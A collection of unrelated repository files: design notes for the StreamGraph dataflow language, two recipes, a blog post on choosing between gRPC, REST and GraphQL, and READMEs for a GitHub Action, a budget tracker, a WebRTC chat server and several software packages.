There are two basic entities in StreamGraph, nodes and edges, where the nodes represent operations on the data, and the edges represent the flow of the data. It's not always clear whether an edge is, from the users's point of view, more strongly associated with the node it's leading in to (consider a join block where the user's thinking is "I want to get input from there and there") or the node it's leaving (user: "I want to send this stream to stdout"). Probably, the view is not constant for one edge, as the edge is considered once with the sending node and once with the receiving node. It is therefore best to not directly write it in either place. The user should think mainly about the nodes themselves, connections between them are something to be considered later on.

As such it would make sense to have a section called "nodes" and a section called "edges" or "pipes" in the `.sg` file, where the respective entities are listed as one per line.

```
nodes:
(...)
edges:
(...)
```

We need to know from where to where the edges go, therefore we need some way of labelling the nodes.
```
nodes:

  n1: a node named `n1`
  n2: another node
```

That way, we can later reference them in the edges list.
```
edges:

  n1 n2 #an edge from node `n1` to `n2`
```

support for comments would probably be nice, so for the sake of simplicity let's just use `#` for that. Inline comments allowed.

Now the above is not very nice, because we can't have a node called `nodes` (a valid concern, even though this would definitely be bad practice to actually have a node called `nodes`), as it would be interpreted as the beginning of the nodes block. We therefore need a better way to delimit the nodes and edges block, or a different way to describe the edges.

* A possibility would be to not separate the nodes and edges at all, as long as there is still only one entity per line. This would still leave room for the user to separate them voluntarily and emulate the `nodes` and `edges` lables with comments.

  That way, however, there would have to be some kind of syntax to differentiate between the node and edge entries. To ensure that no ambiguity is created, we first need to define the set of allowed node names.

* An alternative would be to create a syntax that denotes nesting, for example curly braces, to delimit the `nodes` and the `edges` block.
  ```
  nodes{
    n1: a node named `n1`
    nodes: another node # this is not ambiguous anymore
  }
  edges{
    n1 nodes # an edge from node `n1` to `nodes`
  }
  ```
  This approach has the advantage that grouping becomes easier to add later on, as nesting is already a supported concept.

This decision seems to boil down to whether or not grouping of parts of the graph for reuse will be a feature worth adding at some point in the future (maybe even already with the initial version). So let's think about grouping first.

## Grouping

Grouping, or creating reusable functions, might be done by allowing the user to denote a subgraph by an identifier, such that the subgraph can be inserted in multiple places without duplicating the code for it.

This could be realized as inserting a subgraph as a single node in to the main graph, which would mean, that edges can go to this node and away from this node. This, in turn, requires the subgraph to have input and output nodes. Already we can see that this is starting to look like the source code will have a main graph and some graphs that represent functions to be used inside this main graph.

Now that I'm thinking about it, if we already went that far, why not allow recursion? After all, the bottom case could be an empty stream, since there are no other conditional structures. There is only stream or no stream (and the contents of the stream of course).

Allocating the stack frames might be a bigger problem tough. Because the core needs a place to store the values while they are being piped, this would quickly lead the script to fill the entire disk if no precautions are taken. An options would be to set a fixed recursion limit.

But now that we're dealing with a language that allows for blocks of codes to be called repeatedly and values to be piped through them, a language that will later be compiled to bash, the question arises: why not write bash scripts directly? What is the advantage of this language over pure bash?

I don't think that the language itself has a lot of advantages, but the things that can be built on top of this language, such as a visual editor. The power of this language lies in the visual representation of the graph, that makes it much easier for the user to see the flow of data. A visual editor might store some metadata like the position of the individual nodes (this could be done by special tags in inline comments), but other than that, the underlying project file for a visual StreamGraph editor would be virtually equivalent to pure StreamGraph files.

## Special nodes

One goal of the streamgraph language is to abstract the interaction with named pipes, inputs, outputs, etc. away, in favor of representing the pure flow of the data. This means (at least in my interpretation), that the language should inherently be hostile to side effects. Since the nodes run arbitrary shell commands, we can't stop them, but we can call side effects bad streamgraph coding style. The script should have one or multiple inputs and a single output that do all the file system interaction. If the thing you want to achieve cannot be modelled within these constraints, don't use streamgraph for this project (one exception might be interaction with a database).

All input and output will therefore be happening though some special nodes, that don't access the file system directly, the sg core will do the file system accessing. This has the advantage, that the code can be reused if the filenames change, without adjusting some string constants in the script.

### IO

As hinted at above, the script doesn't know the names of the files that will be accessed. The script represents actions on some general data and shouldn't be concerned with how we get this data.

In general, a script can have two types of input. One is stdin, the other is command line arguments. sg is mainly about applying the same transformation to a stream of data multiple times, taking the data from a different source every time, therefore, the command line arguments will only be filenames. While it is very well possible, that a script takes multiple files as input, the general case will be, that the script takes only one file as input, or reads all of its data directly from stdin.

If we have multiple inputs, we use multiple corresponding input nodes, where input node i relates to the file mentioned in the i-th command line argument. It should also be possible to still read from stdin in addition to reading from the files mentioned in the command line arguments. Thus, we have two kinds of input node:
* A `stdin` node that can only be used once.
* A `file-input` node that can be used multiple times but has to be numbered, where the number represents the position of the desired filename in the command line arguments.

If there is only one input source (probably the average case), the input should be accepted from either stdin or as a filename in a command line argument. This could be modelled by the user, by creating nodes for both inputs and concatenating the streams, but this is such a common case that this should probably be modelled in the language. If only one input node is given, be it `stdin` or `file-input`, the sg core should make the script accept the input to come from either end.

A similar setup might be possible for the ouput. The user could, when running the script, pass multiple output files as arguments (for example with `-o somefile.txt`), and there would still be stdout. We could therefore have two kinds of output nodes, one for file output and one for stdout, where, again, if the user provides only one output node, whatever its kind, the output would go to stdout if no `-o` argument is given and to the file otherwise.

This would result in a nice symmetry between how the input and output is handled. The only downside is that there might arise some confusion from how a single IO node can differently, depending on whether a file name argument is present or not. This could be fixed by defining a preferred form. Let's define, that, if this switching IO functionality is to be used (I really need a cool name for this concept), the single node should be the stdin/stdout node, not a filein/fileout node. Using a filein/fileout node for context dependent IO should still be allowed, but maybe print out a compiler warning that stdin/stdout nodes are preferred if only one input, respectively output node is used.

As for stderr: Each node can have some stderr ouput, but the graph should probably just ignore this, so that it will be displayed in the terminal when running the graph.

Groups need an input and output as well, and they should be limited to only a single input and a single output. It would make sense to reuse the stdin/stdout nodes here in order to not introduce even more node types, and that way, a group could quickly be converted to a main program and vice versa.

### Split

The whole point of having a graph is so that we can process data in parallel streams, and merge them back together afterwards. This means that at some point we have to have nodes with multiple outputs.

One way of having multiple outputs is to simply duplicate outputs. This should be possible with all nodes, by simply adding two outgoing edges from this node. The outgoing edges should duplicate the stream.

Another way to split the output would be by sending some of the lines to one outgoing edge, the other lines to the other edge. This should already be possible by using thee nodes. One that simply passes the data through, which will have an outgoing edge to both of the other nodes each. The other two nodes would be a `grep` node and a `grep -v` node respectively. This does represent some overhead though, and would be nicer to solve in a single node with two outputs. The two outputs would in this case be labelled, as we need a way to separate the positive and negative output.

Since rewriting grep is neither an option nor a sensible thing to do, the option arises to add functionality to `grep` nodes. Say a user writes a grep node, the system could add a second, virtual node in the background. This node could be named with a special suffix to the node. Let's disallow dots in node names, which would mean we can add suffixes after a dot that the user can then still refer to in outgoing edges. A grep node called `findWarnings` would create a shadow node called `findWarnings.inv` that adds `-v` to the grep command, without the user having to write any additional sg code. Dealing with `-A` and `-B` might be tricky though..

To ensure preformance, the `.inv` shadow node would only be created if the user is actually referencing it. Actually, this is relevant for more than just performance, beause if we have a node writing data in to a named pipe but nothing is reading from that pipe, the process might not terminate.

Streams could also be split within the lines, using a tool like `cut`. This should also be possible to invert and create a shadow node from it, but might require a bit more trickery. Since `cut` might take fields from the middle of the line, the inverse would be the part around it. This could just be evaluated separately and concatenated to form .. oh never mind, cut has a `--complement` option.. (might not be entirely porable though, requires GNU cut afaik)

### Merge

For merging back together, there are, again, two options. Merging within the line and just concatenating the streams. Actually it would be useful if every node could concatenate streams by just sending multiple pipes there. The order could not be guaranteed though, but for most purposes this should be fine. If the order needs to be set, the user could prepend a string to each of the streams and sort by the first field after merging to get the desired arrangement.

Merging within the line might be tricky, since the order is important. Actually, this could be solved with shadow nodes, where the user adds a suffix to the destination node of the edge. A suffix like `.after` could make sg join the streams line by line, the unsuffixed input being the base input and the `.after` stream being appended to every line of the base stream.

Since we can't ask the users to always use the same field separator, as this could be a space, a tab, a semicolon, a comma, etc., we have to add a way for the user to tell sg the field separator to be used for merging inline. This might be done with a command line option when running the script, such as `-d$'\t'`. Either space or tab should be the default, as these should be the most common options.

A difficulty arises when there are more than two streams to be merged. If we however replace the suffixes with something more flexible, this should work. The inline merge suffix could be anything that will then be merged in lexicographical order. This might even be possible to use with stream concatenation merging (I will call this vertical merging from now on, while inline merging is horizontal merging).

The virtual node suffixes could be the command for the merging direction (vertical or horizontal), and a number, by which the streams will be sorted before merging. The virtual node suffixes would therefore look something like this in the edge syntax:

```
sourceA mergingNode.v0
sourceB mergingNode.v1
```

This would concatenate the streams from sourceA and sourceB, where the data from sourceA would occur first in the merged stream. The `v` stands for vertical.

Analogously, the syntax for edges to a node where the streams would be merged horizontally would look like this:

```
sourceA mergingNode.h0
sourceB mergingNode.h1
sourceC mergingNode.h2
```

where `h` stands for horizontally. As demonstrated here, the system should be able to join an arbitrary number of streams.

Now the question arises, what should be done with an edge streaming to the node without a suffix? Probably just display a warning when compiling, but allow it anyway, just as if `.h0` / `.v0` had been written. If two clashing suffixes or suffixes of vertical and horizontal type appear at the same time, the compiler will display an error message.

## Nodes again

Nodes can either be bash statements or a group instance. The whole point of groups is to have multiple instances, we therefore need to instance them so we can pipe data through the individual instances independently (this is gonna be an important part in the implementation. How efficiently can this be implemented?).

Thus we need a syntax to differentiate between a group instance and a simple node, otherwise we can't have group names that are equal to bash commands. Initially, I was going to separate the node name from the command with a colon, this could be altered to use the colon syntax only for bash command nodes, and some other character for instantiation, for example a dash.

```
someNode: sed 's/a/b/'
otherNode- groupName
```

Once the group has been instanciated in a node, the node can be used like every other node.

The IO nodes might just have yet another separator, so that the input and output nodes can also be named with semantics in mind:

```
fileForDoingThingA/ 1
fileForDoingThingB/ 2
mainInput/ stdin
```

This would make the node `fileForDoingThingA` read from the file specified by the first command line argument, `fileForDoingThingB` would read from the filename in the second argument. `mainInput` would read from stdin.

The slash used as a separator is quite pretty actually, as it reminds of the filesystem, which is exactly the purpose of this kind of node.

Output nodes could use the backslash as a separator, although this would bring the number of separators up to 4 and the user might get confused between slash and backslash. Actually, they could both use the forward slash and be differentiated like this:

```
fileForReading/ infile 1
input/ stdin
fileForWriting/ outfile 1
output/ stdout
```

Actually, it's questionable whether stdin and stdout should be defined explicitly. They will be used almost always, so we could add them by default. Let's call them `input` and `output`. This has the effect that the concept for switching input changes a bit. If no file input node is defined but a file input is given, then this file will be used as stdin and the actual stdin will be ignored. Same goes for the output. This means that no nodes named `input` or `output` can be created, but that would be bad practice anyway.

Since nodes can have shadow nodes that use dots in the name, the language shouldn't allow the user to add any special characters in the node name. Allowed are therefore only letters (upper- and lowercase) and digits.

## Edges again

Edges should specify the node sending data in to the edge (the node where this edge is outgoing), and the node it's leading in to.

```
someNode otherNode
```

Shadow nodes can only be accessed from edges, the syntax for accessing them should look like this:

```
someNode.inv otherNode.v1
```

This requires `someNode` to be a `grep` or a `cut` node. `otherNode` will concat this stream with another stream from an edge also leading in to `otherNode`.

### Groups again

Nested groups might be useful for namespaces, so they should be allowed, even if they get rarely ever used. Groups can only be instanciated by nodes that are defined on the same level as the group, or by nodes in the group or in any of its descendant groups.

This is what allows for recursion, with a node reaching out to a group an arbitrary amount of layers up. Recursion will stop, once the stream is empty, because the group does not get opened. If a maximum recursion depth is reached

## Syntax

Now that some of the details are a bit clearer, it should be possible to decide on a syntax. The language should allow for nodes and edges in the main part and also in groups. Nested groups are allowed, the elements that can appear at every level are therefore:

* Node
* Edge
* Group
* Comment

Nodes and edges make up the main part of an sg program, they should therefore be as easy to write as possible, which means, no long prefixes required. An option would be to have prefixes anyway, but allow the user to write them in a short form consisting only of the first letter, similar to GDB:

```
group aGroup{
    node someNode: (node code)
    node otherNode- (group name)
    edge someNode otherNode
}
```

or written in the short form:

```
g aGroup{
    n someNode: (node code)
    n otherNode- (group name)
    e someNode otherNode
}
```

The indentation should be optional.

As an example, a sg source file might look like this:

```
g moveSecondFieldToEnd{
    # nodes
    n extract2: cut -d" " -f2

    # edges
    e input extract2
    e extract2 output.h0
    e extract2.inv output.h1
}

# nodes
n rearrange- moveSecondFieldToEnd
n stuffToAppend/ infile 1
n sort: sort # note how a node can have the same name as a command

# edges
e input rearrange
e rearrange output.v0
e stuffToAppend sort
e sort output.v1
```

This will take the second field from every line on stdin and move it to the end of the line, and then append the sorted version of the file on command line argument 1. The result will be printed to stdout.

Stream merging can be done on the output, as seen in this example.

## Coding style

I'm not sure yet whether separating the statements in to node and edges sections makes sense for larger projects, as one might lose track of the edges or nodes.

Due to the nature of the language, there will almost always be more edges than nodes, which might seem like unnecessary verbosity, but this makes the user think about the flow of data more than the details of the individual actions, which is sort of the goal of the language.

Nodes that don't have a path to an output (should) have no effect, as side effects are discouraged. These nodes will be deleted and therefore never executed, if one places side effects in such nodes, they are thus not guaranteed to run.

repository: Pascal-So/StreamGraph

repo_name: Pascal-So/StreamGraph


text:
---
title: "Chocolate brownies"
date: "2020-10-23"
categories: "afternoon-tea"
credit: "Me"
description: "This is my changes to the BBC's best ever brownie recipe. I have added vanilla and an espresso shot"
---

![Chocolate brownies](./brownie.jpg)

###Ingredients
185g dark chocolate
185g butter
50g white chocolate bits or chopped chocolate
50g milk chocolate bits or chopped chocolate
275g castor sugar
3 eggs
85g flour
40g cocoa
1 tsp vanilla essence
1 shot of espresso

###Method

1. Set oven at 160ºc fan or 180ºc normal oven
2. Grease and line lamington or brownie pan
3. Put sugar, vanilla and eggs into mixer and beat on high for 8 minutes until thick and leaves a trail
4. While the eggs are beating, melt butter and dark chocolate in microwave. Mix together so it is combined and shiny. Add the shot of coffee and leave to cool while the eggs are beating
5. Carefully fold the cooled chocolate into the beaten egg mixture
6. Add the sifted flour and cocoa and fold through until combined
7. Stir through the choc bits (or chopped chocolate)
8. Bake for 30 - 35 minutes or until just set. Leave to cool in pan
9. Refrigerate; will keep for two weeks (I doubt it very much)

repository: wennewman/wecipes

repo_name: wennewman/wecipes


text:
# Support Requests

Support Requests is a GitHub Action that comments on
and closes issues labeled as support requests.

![](assets/screenshot.png)

## Supporting the Project

The continued development of Support Requests is made possible
thanks to the support of awesome backers. If you'd like to join them,
please consider contributing with
[Patreon](https://armin.dev/go/patreon?pr=support-requests&src=repo),
[PayPal](https://armin.dev/go/paypal?pr=support-requests&src=repo) or
[Bitcoin](https://armin.dev/go/bitcoin?pr=support-requests&src=repo).

## Description

Support Requests is a specialized version of
[Label Actions](https://github.com/dessant/label-actions),
and it can perform the following actions when an issue
is labeled, unlabeled or reopened:

- The support label is added: leave a comment, close and lock the issue
- The support label is removed: reopen and unlock the issue
- The issue is reopened: remove the support label, unlock the issue

## Usage

Create the `support.yml` workflow file in the `.github/workflows` directory,
use one of the [example workflows](#examples) to get started.

### Inputs

The action can be configured using [input parameters](https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith).

<!-- prettier-ignore -->
- **`github-token`**
  - GitHub access token, value must be `${{ github.token }}` or an encrypted
    secret that contains a [personal access token](#using-a-personal-access-token)
  - Optional, defaults to `${{ github.token }}`
- **`support-label`**
  - Label used to mark issues as support requests
  - Optional, defaults to `support`
- **`issue-comment`**
  - Comment to post on issues marked as support requests,
    `{issue-author}` is an optional placeholder
  - Optional, defaults to `:wave: @{issue-author}, we use the issue tracker
    exclusively for bug reports and feature requests. However, this issue
    appears to be a support request. Please use our support channels
    to get help with the project.`
- **`close-issue`**
  - Close issues marked as support requests,
    value must be either `true` or `false`
  - Optional, defaults to `true`
- **`lock-issue`**
  - Lock issues marked as support requests,
    value must be either `true` or `false`
  - Optional, defaults to `false`
- **`issue-lock-reason`**
  - Reason for locking issues, value must be one
    of `resolved`, `off-topic`, `too heated` or `spam`
  - Optional, defaults to `off-topic`

## Examples

The following workflow will comment on and close issues
marked as support requests.

<!-- prettier-ignore -->
```yaml
name: 'Support Requests'

on:
  issues:
    types: [labeled, unlabeled, reopened]

permissions:
  issues: write

jobs:
  action:
    runs-on: ubuntu-latest
    steps:
      - uses: dessant/support-requests@v3
```

### Available input parameters

This workflow declares all the available input parameters of the action
and their default values. Any of the parameters can be omitted.

<!-- prettier-ignore -->
```yaml
name: 'Support Requests'

on:
  issues:
    types: [labeled, unlabeled, reopened]

permissions:
  issues: write

jobs:
  action:
    runs-on: ubuntu-latest
    steps:
      - uses: dessant/support-requests@v3
        with:
          github-token: ${{ github.token }}
          support-label: 'support'
          issue-comment: >
            :wave: @{issue-author}, we use the issue tracker exclusively
            for bug reports and feature requests. However, this issue appears
            to be a support request. Please use our support channels
            to get help with the project.
          close-issue: true
          lock-issue: false
          issue-lock-reason: 'off-topic'
```

### Using a personal access token

The action uses an installation access token by default to interact with GitHub.
You may also authenticate with a personal access token to perform actions
as a GitHub user instead of the `github-actions` app.

Create a [personal access token](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)
with the `repo` or `public_repo` scopes enabled, and add the token as an
[encrypted secret](https://docs.github.com/en/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)
for the repository or organization, then provide the action with the secret
using the `github-token` input parameter.

<!-- prettier-ignore -->
```yaml
    steps:
      - uses: dessant/support-requests@v3
        with:
          github-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }}
```

## License

Copyright (c) 2017-2023 Armin Sebastian

This software is released under the terms of the MIT License.
See the [LICENSE](LICENSE) file for further information.

repository: dessant/support-requests

repo_name: dessant/support-requests


text:
# Budget Tracker

### Deployed Application

![Screenshot of budget tracker](./public/images/budget1.JPG)

### Description
This application allows users to enter in a budget amount, and keep track of spending.

When using this application, users will be able to add  transactions and keep track of their budget. They can include deposits and withdrawals. The app will then log the total overtime.

### Features
* MongoDB
* JavaScript
* Utilizes NoSQL to query and route
* Service Worker
* Manifest

### Credit
Alejandra Reyes
*<EMAIL_ADDRESS>* [GitHub](https://github.com/areye022)
* [LinkedIn](https://www.linkedin.com/in/alejandrareyes022/)

### License
Licensed under [MIT License](./LICENSE)


text:
---
layout: post
author: [Phil]
title: Picking the right API Paradigm
date: 2018-05-21
tags: [rpc, soap, graphql, rest, api design, architecture]
disqus_identifier: picking-an-api-paradigm-implementation
alias_1: 2018/05/21/picking-an-api-paradigm-implementation/
---

A while back I wrote an article called [Understanding RPC, REST and GraphQL](https://blog.apisyouwonthate.com/understanding-rpc-rest-and-graphql-2f959aadebe7) which outlined the "what" in how these various approaches differ. This got a few people thinking I was saying REST was drastically superior in all ways, which is a common conclusion when folks hear me describe REST as a layer of abstractions on top of RPC... More abstractions does not mean definitively "better", sometimes that's going to be overkill, so let's look at when you might want to use which.

## Paradigm, Implementation, Specifications

To oversimplify things a bit, it's reasonably fair to say that all APIs conform to a paradigm: "RPC", "REST", or "query language". These are general approaches to building APIs, but not a specific tool or specification. They are merely a concept, not a tangible thing.

Implementations are something you can actually download, install, and use to build an API, that conforms to whatever rules the implementors picked, from whichever paradigms they wanted to use at the time.

Specifications (standard, recommendation, etc.) are often drafted up by various working groups, to help implementations share functionality in the same way. An API and a client in different languages can work together perfectly if they're all following the specification correctly.

For example:

- [SOAP](https://www.w3.org/TR/soap/) is a W3C recommendation, following the RPC paradigm, with implementations like [gSOAP](https://www.genivia.com/dev.html)
- [gRPC](https://grpc.io/) is a implementation, following the RPC paradigm, which has no standard or specification by any working group, but authors Goolge Inc. did [document the protocol](https://github.com/grpc/grpc/blob/master/doc/PROTOCOL-HTTP2.md)
- [REST](https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm) is a paradigm, which has never been turned into a specification, and has no official implementations, but building a REST API is usually just a case of picking [appropriate standards](http://standards.rest/) and tooling

As you can see a direct comparison between any of these things is difficult, but at WeWork I needed to find a way to help people make decisions about how to build an API.

## Why?

Every paradigm has gone through a few years of being the hot trend, then they pass to the left, and it all circles around over, and over, and over again. Often a new implementation will be the thing that makes a paradigm the hot thing again, like gRPC.

With gRPC basically being modern SOAP, both of which are RPC with a required type system in there, RPC is back in the lime light, when it was shunned for decades. Jumping on the latest hot trend for your API is a great way to build something you (or your team) end up really resenting, so finding a way to logically help folks make informed decisions is important.

## Making Decisions

I initially wanted to make a diagram to point folks to the appropriate paradigm, but that gets really open-ended. For example, you might want to ask if having a type-system is important for the messages, but some implementations and standards from all three mentioned paradigms use types, and some do not.

Making the decision between pradigms alone was so vague it was useless, so instead we went with deciding between gRPC, REST, and GraphQL. This is absolutely a false trichotomy as we could have brought XML-RPC, JSON-RPC, SOAP, SPARQL, FIQL, Micro, ... 😴

Too much choice is no good for anyone, so we decided to choose one implementation for RPC, one implementation for query languages, and REST is in there with our own custom implementation (we have a template new APIs are built from, which will eventually be generated from OpenAPI files).

## Here Goes!

[![Decision flow diagram for picking between gRPC, REST or GraphQL](img/2018-05-21-picking-a-paradigm/dfd.png)](img/2018-05-21-picking-a-paradigm/dfd.png)

Wait, what is that "context boundary" thing all about?! Basically, it's the idea that whenever a the line is crossed between any imaginary boundary, a few more layers of abstraction should be used to help with the longevity of the system. REST provides those layers of abstraction, and GraphQL provides a few too.

That boundary could be as simple as another team/department/company, or a group of systems that just shouldn't know about each other. Things within the context can treat their own APIs like "private classes" in programming languages, they can change whenever they want, spin up and down, delete, evolve, change, who cares. When going to another context... probably use things like REST (with Hypermedia and JSON Schema) to help those clients last longer without needing developer involvement for most change.

![](img/2018-05-21-picking-a-paradigm/bounded-context.png)

This bounded context bit is really the crux of a lot of the deciding between when to use gRPC, and when to use something else. Internally you can do whatever you want, but when there's a chance that the developers involved in clients and servers not in close communication (when they have other priorities in the sprint, are on a work retreat, or literally don't know each other or have any way to communicate), these layers of abstraction become a lot more useful.

Pushing [client-side validation to JSON Schema](https://blog.apisyouwonthate.com/the-many-amazing-uses-of-json-schema-client-side-validation-c78a11fbde45), for instance, is a layer of abstraction that REST allows (and you could totally do in your own RPC APIs if not using gRPC).

Another example would be [pushing workflows and resource state to the API](https://blog.apisyouwonthate.com/representing-state-in-rest-and-graphql-9194b291d127) instead of having your RPC clients have to try and figure it out by looking at random properties.

The when here is important, because should every API be REST or RESTish?  But REST is very important for more use-cases than folks seem to think these days.

GraphQL fits in here when the more important parts of REST are not relevant, and the shape of clients is super different from each other. We've not been recommending it actively at WeWork, and one of the two teams using it has ditched the thing, but I do expect to see it pop up after making this diagram part of our API design guide.

### Implementations

gRPC and GraphQL have officially approved implementations for a wide array of languages, so use those as a starting point.

- [gRPC](https://grpc.io/)
- [GraphQL](http://graphql.org/)

For those of you not working at WeWork (we're hiring, [get in touch](mailto:phil.sturgeon@wework.com)!), there is a bunch of REST tooling floating around that's not awful.

- [API Platform](https://api-platform.com/)
- [Apigility](https://www.apigility.org/)
- [Flask-Potion](https://github.com/biosustain/potion)
- [Fusio](http://fusio-project.org/)
- [Go has a bunch of frameworks](https://nordicapis.com/7-frameworks-to-build-a-rest-api-in-go/)
- [Silkapp](https://github.com/silkapp/rest)
- [VertX](https://vertx.io/docs/#web)
- [jsonapi-rb](https://github.com/jsonapi-rb/jsonapi-rb)

It certainly would be lovely if there was a go-to REST implementation, like gRPC + HTTP URLs + with JSON Schema for [client+server-side validation](https://blog.apisyouwonthate.com/the-many-amazing-uses-of-json-schema-client-side-validation-c78a11fbde45) and [discovery through HATEOAS](https://blog.apisyouwonthate.com/getting-started-with-json-hyper-schema-part-2-ca9d7ffdf6f6)... that'd be dope.


text:
About
=====

Basado en https://github.com/anoek/webrtc-group-chat-example

Running
=======

For Signalign Server
```
docker-compose build
docker-compose up
```

For web client
```
docker-compose build
docker-compose up
```

## Socket Events
* join
  Triggers when a user joins a room. When it triggers:
  * Emits a message of type addPeer from the joined user to everyone in the room.
  * Emits a message of type addPeer from everyone in the room to the joined user.
  * If it's a new room, it adds the room to a dictionary that keeps track of the rooms created

* disconnect
  It triggers when client exits the room. When it triggers:
  * Emits a message of type removePeer from the joined user to everyone in the room.
  * Emits a message of type removePeer from everyone in the room to the joined user.
  * Emits a message of type roomDestroyed to everyone in the room.

* relayICECandidate
  Triggers when a client finds a valid ICE candidate for connect to other client. When it triggers:
  * Emits a message of type iceCandidate to the other client with the ICE candidate that it found.

* relaySessionDescription
  Triggers when a client sends an RTC offer to other client. When it triggers:
  * Emits a message of type sessionDescription, which sends local session desscription to the other client. When the session description is successfully added by the peer, the connection is all set.

* relayRoomMaster
  Triggers when a client tries asks who is the room master. When it triggers:
  * Emits a message of type roomMaster to the client who asked containing the room master id and a boolean that indicates whether the client who asked is the room master.

* relayAskForWord
  Triggers when a client asks for the word. When it triggers:
  * Emits a message of type askForWord to the room master that contains the id of the client who asked for the word.

* relayGiveWord
  Triggers when a room master gives the word to a client. When it triggers:
  * Adds the client id to a dictionary that keeps track of the clients that are allowed to talk in the room.
  * Emits a message of type giveWord to every client in the room to let them know that the client is allowed to talk.

* relayMuteAll
  Triggers when the room master mutes all clients. When it triggers:
  * Emits a message of type muteAll to every client in the room, so they know they must be muted now.

license: Unlicense


text:
---
title: Roasted Butternut Squash Soup
categories: [soup]
servings: 4
prep_time: 10
cook_time: 55
reference: https://cookieandkate.com/roasted-butternut-squash-soup/
ingredients:
- slug: butternut squash
  amount: 1 large (about 3 lbs)
  notes: halved vertically and seeds removed
- slug: olive oil
  amount: 1 tbsp
  notes: plus more for drizzling
- slug: shallot
  amount: 1 large
  notes: chopped
- slug: salt
  amount: 1 tsp
  notes:
- slug: garlic
  amount: 4 cloves
  notes: minced
- slug: maple syrup
  amount: 1 tsp
  notes:
- slug: ground nutmeg
  amount: 1/8 tsp
  notes:
- slug: black pepper
  amount:
  notes: freshly ground, to taste
- slug: vegetable broth
  amount: 3-4 C, as needed
  notes:
- slug: butter
  amount: 1-2 tbsp
  notes: to taste

---
1. Preheat the oven to 425 degrees Fahrenheit and line a rimmed baking sheet with parchment paper. Place the butternut squash on the pan and drizzle each half with just enough olive oil to lightly coat the squash on the inside (about ½ teaspoon each). Rub the oil over the inside of the squash and sprinkle it with salt and pepper.
2. Turn the squash face down and roast until it is tender and completely cooked through, about 40 to 50 minutes (don't worry if the skin or flesh browns—that's good for flavor). Set the squash aside until it's cool enough to handle, about 10 minutes.
Meanwhile, in a large soup pot, warm 1 tablespoon olive oil over medium heat until shimmering (if your blender has a soup preset, use a medium skillet to minimize dishes.) Add the chopped shallot and 1 teaspoon salt. Cook, stirring often, until the shallot has softened and is starting to turn golden on the edges, about 3 to 4 minutes. Add the garlic and cook until fragrant, about 1 minute, stirring frequently. Transfer the contents to your stand blender (see notes on how to use an immersion blender instead).
 Discard the tough skin. Add the maple syrup, nutmeg and a few twists of freshly ground black pepper to the blender. Pour in 3 cups vegetable broth, being careful not to fill the container past the maximum fill line (you can work in batches if necessary, and stir in any remaining broth later).
Securely fasten the lid. Blend on high (or select the soup preset, if available), being careful to avoid hot steam escaping from the lid. Stop once your soup is ultra creamy and warmed through.
If you would like to thin out your soup a bit more, stir in the remaining cup of broth. Add 1 to 2 tablespoons butter or olive oil, to taste, and blend well. Taste and stir in more salt and pepper, if necessary.
If your soup is piping hot from the blending process, you can pour it into serving bowls. If not, pour it back into your soup pot and warm the soup over medium heat, stirring often, until it's nice and steamy.

repository: yelper/alpertopia

repo_name: yelper/alpertopia


text:
# vui-input-types

npm package that provides ability to add input type descriptions functionality to any javascript object.

# Repository
This module as well as related vui modules can be found here:
https://github.com/RationalAnimal

# Installation

```shell
	npm install vui-input-types --save
```
or, if you don't want to run unit tests on it:

```shell
	npm install vui-input-types --save --production
```

# Summary

This project provides npm package to add input type descriptions functionality to any javascript object
in a platform dependent manner.
It uses vui-custom-values-with-synonyms module for custom input type functionality.
While the primary purpose is to add this functionality to other VUI related objects, this is NOT necessary and is purely driven by usefulness.
These functions can be added to ANY object and they don't require that the target class has anything to do with VUI.

# Examples

````javascript
var inputs = require("vui-input-types");
var platforms = require("vui-platforms");

var app = {};
inputs.addInputTypesToApp(app);
console.log(app.isBuiltInInputType("NUMBER", platforms.ALEXA));
console.log(app.isBuiltInInputType("BLAHBLAHBLAH", platforms.ALEXA));
````

will produce:

````javascript
true
false
````

and

````javascript
var inputs = require("vui-input-types");
var platforms = require("vui-platforms");

var app = {};
inputs.addInputTypesToApp(app);
app.addCustomInputType("fruit",
	{values: [
		{
			text: "apple"
		},
		{
			text: "golden delicious",
			mapTo: "apple"
		},
		{
			text: "banana"
		}
	]}
);

console.log(app.isInputType("fruit", platforms.ALEXA));
console.log(app.isInputType("meat", platforms.ALEXA));
````

will produce:

````javascript
true
false
````

repository: RationalAnimal/vui-input-types

repo_name: RationalAnimal/vui-input-types


text:
# Ubi, the standards-based Ubiquiti Device API

![](https://img.shields.io/packagist/vpre/silmaril/ubi.svg?style=flat-square) ![](https://img.shields.io/maintenance/yes/2019.svg?style=flat-square) ![](https://camo.githubusercontent.com/f8dc8b0dba0c01c69878a1b06bf2167d2bf9a5dd/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d627269676874677265656e2e7376673f7374796c653d666c61742d737175617265)

![](https://i.imgur.com/XPSSyWG.png)

## Installation

#### via Composer
The preferred method of installation is with Composer:

```sh
composer require silmaril/ubi
```

#### Manual Installation
You can also download this repository and install it manually at [this](#) url. Either way, Ubi is designed to work in nearly any environment, and has almost no dependencies.

## Contributing

I welcome all pull requests, and would be glad to chat about specific questions and comments you might have. There are, however, two standards in place:

1. The `.editorconfig` file in the repository should be enabled for your editor.
2. All files enforce a PSR2 standard.

## Ubi Development
This project is under active development, and shouldn't be relied upon in an enterprise situation just yet. That said, I'll document all breaking changes, and semantic versioning is being enforced in this project.

repository: taylordaughtry/ubi

repo_name: taylordaughtry/ubi


text:
#alfresco-crowd-sso
Alfresco 5 plugin to provide Single Sign On (SSO) with Atlassian Crowd. This Module authenticates users in Alfresco using Atlassian Crowd
& allows to authenticate users against Atlassian Crowd which means that if you are already logged in another Crowd-managed application, you will be logged in automatically in Alfresco.

The module consists in two components:

	1) Alfresco component: New authentication subsystem for Atlassian Crowd and two WebScripts used by Share (validate and get a Crowd token)
	2) Share component: Send authentication requests to Alfresco. Uses the Crowd token if exists to logging in the user automatically. Developed as Java Filter

##Installation
In order to install the module,

* Build the code using
`mvn package`
* copy the amp files to the right place (amps folder for Alfresco and amps-share folder for Share)
* Install modules by running `./apply_amps.sh` script

##Configurations

* Add/Modify below properties in `alfresco-global.properties`

		* application.name: The application name configured in Crowd
